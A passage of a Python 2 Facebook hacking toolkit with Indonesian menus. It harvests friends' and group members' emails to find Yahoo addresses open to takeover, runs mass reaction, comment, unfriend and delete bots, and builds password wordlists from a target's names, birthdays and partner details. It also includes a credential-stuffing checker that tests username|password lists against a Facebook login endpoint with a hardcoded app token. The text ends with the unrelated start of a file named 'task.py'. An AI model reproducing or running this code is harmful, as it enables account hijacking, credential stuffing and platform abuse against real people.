\033[1;92mVULNโœ“\033[1;97m ] \033[1;92m" +mail+" \033[1;97m=>"+nama) berhasil.append(mail) except KeyError: pass print 42*"\033[1;97mโ•" print '\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mDone \033[1;97m....' print"\033[1;91m[+] \033[1;92mTotal \033[1;91m: \033[1;97m"+str(len(berhasil)) print"\033[1;91m[+] \033[1;92mFile saved \033[1;91m:\033[1;97m out/FriendMailVuln.txt" save.close() raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_yahoo() ##### YAHOO MEMBER ##### def yahoomember(): global toket os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() try: os.mkdir('out') except OSError: pass os.system('reset') print logo mpsh = [] jml = 0 id=raw_input('\033[1;91m[+] \033[1;92mInput ID group \033[1;91m:\033[1;97m ') try: r=requests.get('https://graph.facebook.com/group/?id='+id+'&access_token='+toket) asw=json.loads(r.text) print"\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mFrom group \033[1;91m:\033[1;97m "+asw['name'] except KeyError: print"\033[1;91m[!] Group not found" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_yahoo() jalan('\033[1;91m[โœบ] \033[1;92mGetting email from group \033[1;97m...') teman = requests.get('https://graph.facebook.com/'+id+'/members?fields=name,id&limit=999999999&access_token='+toket) kimak = json.loads(teman.text) save = open('out/GrupMailVuln.txt','w') jalan('\033[1;91m[โœบ] \033[1;92mStart \033[1;97m...') print 42*"\033[1;97mโ•" for w in kimak['data']: jml +=1 mpsh.append(jml) id = w['id'] nama = w['name'] links = requests.get("https://graph.facebook.com/"+id+"?access_token="+toket) z = json.loads(links.text) try: mail = z['email'] yahoo = re.compile(r'@.*') otw = yahoo.search(mail).group() if 'yahoo.com' in otw: br.open("https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com") br._factory.is_html = True br.select_form(nr=0) br["username"] = mail klik = br.submit().read() jok = re.compile(r'"messages.ERROR_INVALID_USERNAME">.*') try: pek = jok.search(klik).group() except: continue if '"messages.ERROR_INVALID_USERNAME">' in pek: save.write(mail + '\n') print("\033[1;97m[ \033[1;92mVULNโœ“\033[1;97m ] \033[1;92m" +mail+" \033[1;97m=>"+nama) berhasil.append(mail) except KeyError: pass print 42*"\033[1;97mโ•" print '\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mDone \033[1;97m....' print"\033[1;91m[+] \033[1;92mTotal \033[1;91m: \033[1;97m"+str(len(berhasil)) print"\033[1;91m[+] \033[1;92mFile saved \033[1;91m:\033[1;97m out/GrupMailVuln.txt" save.close() raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_yahoo() ##### YAHOO FILE ##### def yahoolist(): global toket os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() try: os.mkdir('out') except OSError: pass os.system('reset') print logo files = raw_input("\033[1;91m[+] \033[1;92mFile path \033[1;91m: \033[1;97m") try: total = open(files,"r") mail = total.readlines() except IOError: print"\033[1;91m[!] File not found" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_yahoo() mpsh = [] jml = 0 jalan('\033[1;91m[โœบ] \033[1;92mStart \033[1;97m...') save = open('out/FileMailVuln.txt','w') print 42*"\033[1;97mโ•" mail = open(files,"r").readlines() for pw in mail: mail = pw.replace("\n","") jml +=1 mpsh.append(jml) yahoo = re.compile(r'@.*') otw = yahoo.search(mail).group() if 'yahoo.com' in otw: br.open("https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com") br._factory.is_html = True br.select_form(nr=0) br["username"] = mail klik = br.submit().read() jok = re.compile(r'"messages.ERROR_INVALID_USERNAME">.*') try: pek = jok.search(klik).group() except: continue if '"messages.ERROR_INVALID_USERNAME">' in pek: save.write(mail + '\n') print("\033[1;97m[ \033[1;92mVULNโœ“\033[1;97m ] \033[1;92m" +mail) berhasil.append(mail) print 42*"\033[1;97mโ•" print '\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mDone \033[1;97m....' print"\033[1;91m[+] \033[1;92mTotal \033[1;91m: \033[1;97m"+str(len(berhasil)) print"\033[1;91m[+] \033[1;92mFile saved \033[1;91m:\033[1;97m out/FileMailVuln.txt" save.close() raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_yahoo() ##### MENU BOT ##### #----------------------------------------# def menu_bot(): os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print "\033[1;97mโ•‘--\033[1;91m> \033[1;92m1.\033[1;97m Bot Reactions Target Post" print "\033[1;97mโ•‘--\033[1;91m> \033[1;92m2.\033[1;97m Bot Reactions Grup Post" print "\033[1;97mโ•‘--\033[1;91m> \033[1;92m3.\033[1;97m Bot Komen Target Post" print "\033[1;97mโ•‘--\033[1;91m> \033[1;92m4.\033[1;97m Bot Komen Grup Post" print "\033[1;97mโ•‘--\033[1;91m> \033[1;92m5.\033[1;97m Mass delete Post" print "\033[1;97mโ•‘--\033[1;91m> \033[1;92m6.\033[1;97m Mass accept friend" print "\033[1;97mโ•‘--\033[1;91m> \033[1;92m7.\033[1;97m Mass delete friend" print "\033[1;97mโ•‘--\033[1;91m> \033[1;91m0.\033[1;97m Back" print "โ•‘" bot_pilih() #//////////// def bot_pilih(): bots = raw_input("\033[1;97mโ•šโ•\033[1;91mD \033[1;97m") if bots =="": print "\033[1;91m[!] Wrong input" bot_pilih() elif bots =="1": menu_react() elif bots =="2": grup_react() elif bots =="3": bot_komen() elif bots =="4": grup_komen() elif bots =="5": deletepost() elif bots =="6": accept() elif bots =="7": unfriend() elif bots =="0": menu() else: print "\033[1;91m[!] Wrong input" bot_pilih() ##### MENU REACT ##### def menu_react(): os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print ("\033[1;97mโ•‘--\033[1;91m> \033[1;92m1. \033[1;97mLike") print ("\033[1;97mโ•‘--\033[1;91m> \033[1;92m2. \033[1;97mLove") print ("\033[1;97mโ•‘--\033[1;91m> \033[1;92m3. \033[1;97mWow") print ("\033[1;97mโ•‘--\033[1;91m> \033[1;92m4. \033[1;97mHaha") print ("\033[1;97mโ•‘--\033[1;91m> \033[1;92m5. \033[1;97mSadBoy") print ("\033[1;97mโ•‘--\033[1;91m> \033[1;92m6. \033[1;97mAngry") print "\033[1;97mโ•‘--\033[1;91m> \033[1;91m0.\033[1;97m Back" print "โ•‘" react_pilih() #////////////// def react_pilih(): global tipe aksi = raw_input("\033[1;97mโ•šโ•\033[1;91mD \033[1;97m") if aksi =="": print "\033[1;91m[!] Wrong input" react_pilih() elif aksi =="1": tipe = "LIKE" react() elif aksi =="2": tipe = "LOVE" react() elif aksi =="3": tipe = "WOW" react() elif aksi =="4": tipe = "HAHA" react() elif aksi =="5": tipe = "SAD" react() elif aksi =="6": tipe = "ANGRY" react() elif aksi =="0": menu_bot() else: print "\033[1;91m[!] Wrong input" react_pilih() #####NEXT def react(): os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo ide = raw_input('\033[1;91m[+] \033[1;92mInput ID Target \033[1;91m:\033[1;97m ') limit = raw_input("\033[1;91m[!] \033[1;92mLimit \033[1;91m:\033[1;97m ") try: oh = requests.get("https://graph.facebook.com/"+ide+"?fields=feed.limit("+limit+")&access_token="+toket) ah = json.loads(oh.text) jalan('\033[1;91m[โœบ] \033[1;92mStart \033[1;97m...') print 42*"\033[1;97mโ•" for a in ah['feed']['data']: y = a['id'] reaksi.append(y) requests.post("https://graph.facebook.com/"+y+"/reactions?type="+tipe+"&access_token="+toket) print '\033[1;92m[\033[1;97m'+y[:10].replace('\n',' ')+'... \033[1;92m] \033[1;97m'+tipe print 42*"\033[1;97mโ•" print "\r\033[1;91m[+]\033[1;92m Done \033[1;97m"+str(len(reaksi)) raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_bot() except KeyError: print"\033[1;91m[!] ID not found" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_bot() ##### BOT REACT GRUP ##### def grup_react(): os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print ("\033[1;97mโ•‘--\033[1;91m> \033[1;92m1. \033[1;97mLike") print ("\033[1;97mโ•‘--\033[1;91m> \033[1;92m2. \033[1;97mLove") print ("\033[1;97mโ•‘--\033[1;91m> \033[1;92m3. \033[1;97mWow") print ("\033[1;97mโ•‘--\033[1;91m> \033[1;92m4. \033[1;97mHaha") print ("\033[1;97mโ•‘--\033[1;91m> \033[1;92m5. \033[1;97mSadBoy") print ("\033[1;97mโ•‘--\033[1;91m> \033[1;92m6. \033[1;97mAngry") print "\033[1;97mโ•‘--\033[1;91m> \033[1;91m0.\033[1;97m Back" print "โ•‘" reactg_pilih() #////////////// def reactg_pilih(): global tipe aksi = raw_input("\033[1;97mโ•šโ•\033[1;91mD \033[1;97m") if aksi =="": print "\033[1;91m[!] Wrong input" reactg_pilih() elif aksi =="1": tipe = "LIKE" reactg() elif aksi =="2": tipe = "LOVE" reactg() elif aksi =="3": tipe = "WOW" reactg() elif aksi =="4": tipe = "HAHA" reactg() elif aksi =="5": tipe = "SAD" reactg() elif aksi =="6": tipe = "ANGRY" reactg() elif aksi =="0": menu_bot() else: print "\033[1;91m[!] Wrong input" reactg_pilih() #####NEXT def reactg(): os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo ide = raw_input('\033[1;91m[+] \033[1;92mInput ID Group \033[1;91m:\033[1;97m ') limit = raw_input("\033[1;91m[!] \033[1;92mLimit \033[1;91m:\033[1;97m ") try: r=requests.get('https://graph.facebook.com/group/?id='+ide+'&access_token='+toket) asw=json.loads(r.text) print"\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mFrom group \033[1;91m:\033[1;97m "+asw['name'] except KeyError: print"\033[1;91m[!] Group not found" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") grup_react() try: oh = requests.get("https://graph.facebook.com/v3.0/"+ide+"?fields=feed.limit("+limit+")&access_token="+toket) ah = json.loads(oh.text) jalan('\033[1;91m[โœบ] \033[1;92mStart \033[1;97m...') print 42*"\033[1;97mโ•" for a in ah['feed']['data']: y = a['id'] reaksigrup.append(y) requests.post("https://graph.facebook.com/"+y+"/reactions?type="+tipe+"&access_token="+toket) print '\033[1;92m[\033[1;97m'+y[:10].replace('\n',' ')+'... \033[1;92m] \033[1;97m'+tipe print 42*"\033[1;97mโ•" print "\r\033[1;91m[+]\033[1;92m Done \033[1;97m"+str(len(reaksigrup)) raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_bot() except KeyError: print"\033[1;91m[!] ID not found" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_bot() ##### BOT KOMEN ##### def bot_komen(): os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print "\033[1;91m[!] \033[1;92mUse \033[1;97m'<>' \033[1;92mfor new lines" ide = raw_input('\033[1;91m[+] \033[1;92mID Target \033[1;91m:\033[1;97m ') km = raw_input('\033[1;91m[+] \033[1;92mComment \033[1;91m:\033[1;97m ') limit = raw_input("\033[1;91m[!] \033[1;92mLimit \033[1;91m:\033[1;97m ") km=km.replace('<>','\n') try: p = requests.get("https://graph.facebook.com/"+ide+"?fields=feed.limit("+limit+")&access_token="+toket) a = json.loads(p.text) jalan('\033[1;91m[โœบ] \033[1;92mStart \033[1;97m...') print 42*"\033[1;97mโ•" for s in a['feed']['data']: f = s['id'] komen.append(f) requests.post("https://graph.facebook.com/"+f+"/comments?message="+km+"&access_token="+toket) print '\033[1;92m[\033[1;97m'+km[:10].replace('\n',' ')+'... \033[1;92m]' print 42*"\033[1;97mโ•" print "\r\033[1;91m[+]\033[1;92m Done \033[1;97m"+str(len(komen)) raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_bot() except KeyError: print"\033[1;91m[!] ID not found" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_bot() ##### BOT KOMEN GRUP ##### def grup_komen(): os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print "\033[1;91m[!] \033[1;92mUse \033[1;97m'<>' \033[1;92mfor new lines" ide = raw_input('\033[1;91m[+] \033[1;92mID Group \033[1;91m:\033[1;97m ') km = raw_input('\033[1;91m[+] \033[1;92mComment \033[1;91m:\033[1;97m ') limit = raw_input("\033[1;91m[!] \033[1;92mLimit \033[1;91m:\033[1;97m ") km=km.replace('<>','\n') try: r=requests.get('https://graph.facebook.com/group/?id='+ide+'&access_token='+toket) asw=json.loads(r.text) print"\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mFrom group \033[1;91m:\033[1;97m "+asw['name'] except KeyError: print"\033[1;91m[!] Group not found" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_bot() try: p = requests.get("https://graph.facebook.com/v3.0/"+ide+"?fields=feed.limit("+limit+")&access_token="+toket) a = json.loads(p.text) jalan('\033[1;91m[โœบ] \033[1;92mStart \033[1;97m...') print 42*"\033[1;97mโ•" for s in a['feed']['data']: f = s['id'] komengrup.append(f) requests.post("https://graph.facebook.com/"+f+"/comments?message="+km+"&access_token="+toket) print '\033[1;92m[\033[1;97m'+km[:10].replace('\n',' ')+'... \033[1;92m]' print 42*"\033[1;97mโ•" print "\r\033[1;91m[+]\033[1;92m Done \033[1;97m"+str(len(komengrup)) raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_bot() except KeyError: print"\033[1;91m[!] Error" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_bot() ##### HAPUS POST ##### def deletepost(): os.system('reset') try: toket=open('login.txt','r').read() nam = requests.get('https://graph.facebook.com/me?access_token='+toket) lol = json.loads(nam.text) nama = lol['name'] except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print("\033[1;91m[+] \033[1;92mFrom \033[1;91m: \033[1;97m%s"%nama) jalan("\033[1;91m[+] \033[1;92mStart\033[1;97m ...") print 42*"\033[1;97mโ•" asu = requests.get('https://graph.facebook.com/me/feed?access_token='+toket) asus = json.loads(asu.text) for p in asus['data']: id = p['id'] piro = 0 url = requests.get('https://graph.facebook.com/'+id+'?method=delete&access_token='+toket) ok = json.loads(url.text) try: error = ok['error']['message'] print '\033[1;91m[\033[1;97m'+id[:10].replace('\n',' ')+'...'+'\033[1;91m] \033[1;95mFailed' except TypeError: print '\033[1;92m[\033[1;97m'+id[:10].replace('\n',' ')+'...'+'\033[1;92m] \033[1;96mDeleted' piro += 1 except requests.exceptions.ConnectionError: print"\033[1;91m[!] Connection Error" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_bot() print 42*"\033[1;97mโ•" print"\033[1;91m[+] \033[1;92mDone" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_bot() ##### ACCEPT FRIEND ##### def accept(): os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo limit = raw_input("\033[1;91m[!] \033[1;92mLimit \033[1;91m:\033[1;97m ") r = requests.get('https://graph.facebook.com/me/friendrequests?limit='+limit+'&access_token='+toket) teman = json.loads(r.text) if '[]' in str(teman['data']): print"\033[1;91m[!] No friend request" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_bot() jalan('\033[1;91m[โœบ] \033[1;92mStart \033[1;97m...') print 42*"\033[1;97mโ•" for i in teman['data']: gas = requests.post('https://graph.facebook.com/me/friends/'+i['from']['id']+'?access_token='+toket) a = json.loads(gas.text) if 'error' in str(a): print "\033[1;97m[ \033[1;91mFailed\033[1;97m ] "+i['from']['name'] else: print "\033[1;97m[ \033[1;92mAccept\033[1;97m ] "+i['from']['name'] print 42*"\033[1;97mโ•" print"\033[1;91m[+] \033[1;92mDone" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_bot() ##### UNFRIEND #### def unfriend(): os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo jalan('\033[1;91m[โœบ] \033[1;92mStart \033[1;97m...') print "\033[1;97mStop \033[1;91mCTRL+C" print 42*"\033[1;97mโ•" try: pek = requests.get('https://graph.facebook.com/me/friends?access_token='+toket) cok = json.loads(pek.text) for i in cok['data']: nama = i['name'] id = i['id'] requests.delete("https://graph.facebook.com/me/friends?uid="+id+"&access_token="+toket) print "\033[1;97m[\033[1;92m Deleted \033[1;97m] "+nama except IndexError: pass except KeyboardInterrupt: print "\033[1;91m[!] Stopped" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_bot() print"\n\033[1;91m[+] \033[1;92mDone" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_bot() #### LAIN LAIN ##### # # ####MENU LAIN##### def lain(): os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print "\033[1;97mโ•‘--\033[1;91m> \033[1;92m1.\033[1;97m Create Post" print "\033[1;97mโ•‘--\033[1;91m> \033[1;92m2.\033[1;97m Create Wordlist" print "\033[1;97mโ•‘--\033[1;91m> \033[1;92m3.\033[1;97m Account Checker" print "\033[1;97mโ•‘--\033[1;91m> \033[1;92m4.\033[1;97m See my group list" print "\033[1;97mโ•‘--\033[1;91m> \033[1;92m5.\033[1;97m Profile Guard" print "\033[1;97mโ•‘--\033[1;91m> \033[1;91m0.\033[1;97m Back" print "โ•‘" pilih_lain() #//////////// def pilih_lain(): other = raw_input("\033[1;97mโ•šโ•\033[1;91mD \033[1;97m") if other =="": print "\033[1;91m[!] Wrong input" pilih_lain() elif other =="1": status() elif other =="2": wordlist() elif other =="3": check_akun() elif other =="4": grupsaya() elif other =="5": guard() elif other =="0": menu() else: print "\033[1;91m[!] Wrong input" pilih_lain() ##### STATUS ##### def status(): os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo msg=raw_input('\033[1;91m[+] \033[1;92mType status \033[1;91m:\033[1;97m ') if msg == "": print "\033[1;91m[!] Don't be empty" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") lain() else: res = requests.get("https://graph.facebook.com/me/feed?method=POST&message="+msg+"&access_token="+toket) op = json.loads(res.text) jalan('\033[1;91m[โœบ] \033[1;92mCreate \033[1;97m...') print 42*"\033[1;97mโ•" print"\033[1;91m[+] \033[1;92mStatus ID\033[1;91m : \033[1;97m"+op['id'] raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") lain() ########### CREATE WORDLIST ########## def wordlist(): os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() try: os.system('reset') print logo print "\033[1;91m[?] \033[1;92mFill in the complete data of the target below" print 42*"\033[1;97mโ•" a = raw_input("\033[1;91m[+] \033[1;92mNama Depan \033[1;97m: ") file = open(a+".txt", 'w') b=raw_input("\033[1;91m[+] \033[1;92mNama Tengah \033[1;97m: ") c=raw_input("\033[1;91m[+] \033[1;92mNama Belakang \033[1;97m: ") d=raw_input("\033[1;91m[+] \033[1;92mNama Panggilan \033[1;97m: ") e=raw_input("\033[1;91m[+] \033[1;92mTanggal Lahir >\033[1;96mex: |DDMMYY| \033[1;97m: ") f=e[0:2] g=e[2:4] h=e[4:] print 42*"\033[1;97mโ•" print("\033[1;91m[?] \033[1;93mKalo Jomblo SKIP aja :v") i=raw_input("\033[1;91m[+] \033[1;92mNama Pacar \033[1;97m: ") j=raw_input("\033[1;91m[+] \033[1;92mNama Panggilan Pacar \033[1;97m: ") k=raw_input("\033[1;91m[+] \033[1;92mTanggal Lahir Pacar >\033[1;96mex: |DDMMYY| \033[1;97m: ") jalan('\033[1;91m[โœบ] \033[1;92mCreate \033[1;97m...') l=k[0:2] m=k[2:4] n=k[4:] file.write("%s%s\n%s%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s" % (a,c,a,b,b,a,b,c,c,a,c,b,a,a,b,b,c,c,a,d,b,d,c,d,d,d,d,a,d,b,d,c,a,e,a,f,a,g,a,h,b,e,b,f,b,g,b,h,c,e,c,f,c,g,c,h,d,e,d,f,d,g,d,h,e,a,f,a,g,a,h,a,e,b,f,b,g,b,h,b,e,c,f,c,g,c,h,c,e,d,f,d,g,d,h,d,d,d,a,f,g,a,g,h,f,g,f,h,f,f,g,f,g,h,g,g,h,f,h,g,h,h,h,g,f,a,g,h,b,f,g,b,g,h,c,f,g,c,g,h,d,f,g,d,g,h,a,i,a,j,a,k,i,e,i,j,i,k,b,i,b,j,b,k,c,i,c,j,c,k,e,k,j,a,j,b,j,c,j,d,j,j,k,a,k,b,k,c,k,d,k,k,i,l,i,m,i,n,j,l,j,m,j,n,j,k)) wg = 0 while (wg < 100): wg = wg + 1 file.write(a + str(wg) + '\n') en = 0 while (en < 100): en = en + 1 file.write(i + str(en) + '\n') word = 0 while (word < 100): word = word + 1 file.write(d + str(word) + '\n') gen = 0 while (gen < 100): gen = gen + 1 file.write(j + str(gen) + '\n') file.close() time.sleep(1.5) print 42*"\033[1;97mโ•" print ("\033[1;91m[+] \033[1;92mSaved \033[1;91m: \033[1;97m %s.txt" %a) raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") lain() except IOError, e: print("\033[1;91m[!] Failed") raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") lain() ##### CHECKER ##### def check_akun(): os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print "\033[1;91m[?] \033[1;92mCreate in file\033[1;91m : \033[1;97musername|password" print 42*"\033[1;97mโ•" live = [] cek = [] die = [] try: file = raw_input("\033[1;91m[+] \033[1;92mFile path \033[1;91m:\033[1;97m ") list = open(file,'r').readlines() except IOError: print ("\033[1;91m[!] File not found") raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") lain() pemisah = raw_input("\033[1;91m[+] \033[1;92mSeparator \033[1;91m:\033[1;97m ") jalan('\033[1;91m[โœบ] \033[1;92mStart \033[1;97m...') print 42*"\033[1;97mโ•" for meki in list: username, password = (meki.strip()).split(str(pemisah)) url = "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(username)+"&locale=en_US&password="+(password)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" data = requests.get(url) mpsh = json.loads(data.text) if 'access_token' in mpsh: live.append(password) print"\033[1;97m[ \033[1;92mLive\033[1;97m ] \033[1;97m"+username+"|"+password elif 'www.facebook.com' in mpsh["error_msg"]: cek.append(password) print"\033[1;97m[ \033[1;93mCheck\033[1;97m ] \033[1;97m"+username+"|"+password else: die.append(password) print"\033[1;97m[ \033[1;91mDie\033[1;97m ] \033[1;97m"+username+"|"+password print 42*"\033[1;97mโ•" print"\033[1;91m[+] \033[1;92mTotal\033[1;91m : \033[1;97mLive=\033[1;92m"+str(len(live))+" \033[1;97mCheck=\033[1;93m"+str(len(cek))+" \033[1;97mDie=\033[1;91m"+str(len(die)) raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") lain() ##### GRUP SAYA ##### def grupsaya(): os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() try: os.mkdir('out') except OSError: pass os.system('reset') print logo try: uh = requests.get('https://graph.facebook.com/me/groups?access_token='+toket) gud = json.loads(uh.text) for p in gud['data']: nama = p["name"] id = p["id"] f=open('out/Grupid.txt','w') listgrup.append(id) f.write(id + '\n') print "\033[1;97m[ \033[1;92mMyGroup\033[1;97m ] "+str(id)+" => "+str(nama) print 42*"\033[1;97mโ•" print"\033[1;91m[+] \033[1;92mTotal Group \033[1;91m:\033[1;97m %s"%(len(listgrup)) print("\033[1;91m[+] \033[1;92mSaved \033[1;91m: \033[1;97mout/Grupid.txt") f.close() raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") lain() except (KeyboardInterrupt,EOFError): print("\033[1;91m[!] Stopped") raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") lain() except KeyError: os.remove('out/Grupid.txt') print('\033[1;91m[!] Group not found') raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") lain() except requests.exceptions.ConnectionError: print"\033[1;91m[โœ–] No Connection" keluar() except IOError: print "\033[1;91m[!] Error" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") lain() ##### PROFIL GUARD ##### def guard(): global toket os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print "\033[1;97mโ•‘--\033[1;91m> \033[1;92m1.\033[1;97m Activate" print "\033[1;97mโ•‘--\033[1;91m> \033[1;92m2.\033[1;97m Not activate" print "\033[1;97mโ•‘--\033[1;91m> \033[1;91m0.\033[1;97m Back" print "โ•‘" g = raw_input("\033[1;97mโ•šโ•\033[1;91mD \033[1;97m") if g == "1": aktif = "true" gaz(toket, aktif) elif g == "2": non = "false" gaz(toket, non) elif g =="0": lain() elif g =="": keluar() else: keluar() def get_userid(toket): url = "https://graph.facebook.com/me?access_token=%s"%toket res = requests.get(url) uid = json.loads(res.text) return uid["id"] def gaz(toket, enable = True): id = get_userid(toket) data = 'variables={"0":{"is_shielded": %s,"session_id":"9b78191c-84fd-4ab6-b0aa-19b39f04a6bc","actor_id":"%s","client_mutation_id":"b0316dd6-3fd6-4beb-aed4-bb29c5dc64b0"}}&method=post&doc_id=1477043292367183&query_name=IsShieldedSetMutation&strip_defaults=true&strip_nulls=true&locale=en_US&client_country_code=US&fb_api_req_friendly_name=IsShieldedSetMutation&fb_api_caller_class=IsShieldedSetMutation' % (enable, str(id)) headers = {"Content-Type" : "application/x-www-form-urlencoded", "Authorization" : "OAuth %s" % toket} url = "https://graph.facebook.com/graphql" res = requests.post(url, data = data, headers = headers) print(res.text) if '"is_shielded":true' in res.text: os.system('reset') print logo print"\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mActivate" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") lain() elif '"is_shielded":false' in res.text: os.system('reset') print logo print"\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;91mNot activate" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") lain() else: print "\033[1;91m[!] Error" keluar() lisensi()
task.py
""" Backend task management support """ import itertools import json import logging import os import re import sys import warnings from copy import copy from datetime import datetime from enum import Enum from multiprocessing import RLock from operator import itemgetter from tempfile import gettempdir from threading import Thread from typing import Optional, Any, Sequence, Callable, Mapping, Union, List, Set from uuid import uuid4 from pathlib2 import Path try: # noinspection PyCompatibility from collections.abc import Iterable except ImportError: from collections import Iterable import six from six.moves.urllib.parse import quote from ...utilities.locks import RLock as FileRLock from ...utilities.proxy_object import verify_basic_type, cast_basic_type, get_basic_type from ...binding.artifacts import Artifacts from ...backend_interface.task.development.worker import DevWorker from ...backend_interface.session import SendError from ...backend_api import Session from ...backend_api.services import tasks, models, events, projects from ...backend_api.session.defs import ENV_OFFLINE_MODE from ...utilities.pyhocon import ConfigTree, ConfigFactory from ...utilities.config import config_dict_to_text, text_to_config_dict from ..base import IdObjectBase, InterfaceBase from ..metrics import Metrics, Reporter from ..model import Model from ..setupuploadmixin import SetupUploadMixin 